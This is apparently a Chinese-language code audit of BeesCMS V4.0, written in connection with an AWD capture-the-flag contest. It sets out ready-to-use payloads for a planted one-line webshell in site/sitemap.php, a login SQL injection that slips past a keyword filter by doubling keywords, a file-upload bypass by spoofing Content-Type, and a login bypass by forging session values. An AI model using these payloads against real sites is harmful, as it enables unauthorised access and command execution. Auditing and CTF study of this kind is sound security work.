Beescms_V4.0代碼審計源於一場AWD線下比賽的漏洞源碼
看了別的師傅的文章發現這個源碼也非常簡單 ,所以今晚簡單審計過一遍。
0x01 預留后門
awd首先備份源碼,然后下載下來查殺后門,很可能有隱藏后門,有的話直接拿這個后門開始第一輪刷分攻擊。
D盾查殺可疑后門,如下;
site/sitemap.php 文件疑似木馬,查看一下;
明顯的一句話木馬
構造也很簡單:
Post:lang=system
Get:0=ls
查看flag 0=cat /flag
以下的代碼 我選擇快速審計 大體看功能 ----》推測可能存在某個漏洞------》看核心源碼驗證漏洞。
0x02 后台SQL注入
http://192.168.5.149/BEES_4.0/admin/login.php
登錄加單引號 報錯 估計有注入
看源碼
文件:/admin/login.php
很簡單的邏輯
在42和43行發現對user和password進過fl_value()和fl_html()處理,然后送入check_login(),check_login函數我們來看看是什么
可以看到只是功能只是最后帶入查詢和驗證密碼 那么重點過濾函數應該在前面的fl_value()和fl_html()這兩個函數上,跟進。
fl_value():
發現 fl_value()函數就是用htmlspecialchars(()函數對字符進行轉義,將特殊字符用引用實體替換。
被轉換的預定義的字符有: &:轉換為& ":轉換為" ':轉換為成為 ' <:轉換為< >:轉換為>
再看看fl_value():
function fl_value($str){ if(empty($str)){return;} return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/i','',$str); }
fl_value()用preg_replace()將select、insert、and、on等等關鍵詞替換為空,這個雙寫關鍵字即可繞過。fl_html()也就是htmlspecialchars()采用的是默認參數,僅編碼雙引號,所以對於’不會過濾,要想過濾單引號和雙引號需要加上ENT_QUOTES參數
所以這里構造注入payload(這是網上文章原文的):
user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27
0x03 后台任意文件上傳
可以登錄后台進行測試。后台發現有圖片上傳的地方
來看下代碼:
is_uploaded_file($_FILES['up']['tmp_name'])){ if($up_type=='pic'){ $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb']; $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']); $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']); $logo=0; $is_up_size = $_sys['upload_size']*1000*1000; $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo); $pic=$value_arr['pic']; if(!empty($value_arr['thumb'])){ $pic=$value_arr['thumb']; } $str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>"; echo $str; exit; }//圖片上傳
發現在44行
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
定義了mime類型 只需要改下content-type得值即可。
0x04 前台登錄繞過
在admin/init.php中第54行發現判斷函數is_login():
跟進這個函數
這里驗證session中得login_in和admin字段 我們可以偽造進行繞過。
POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999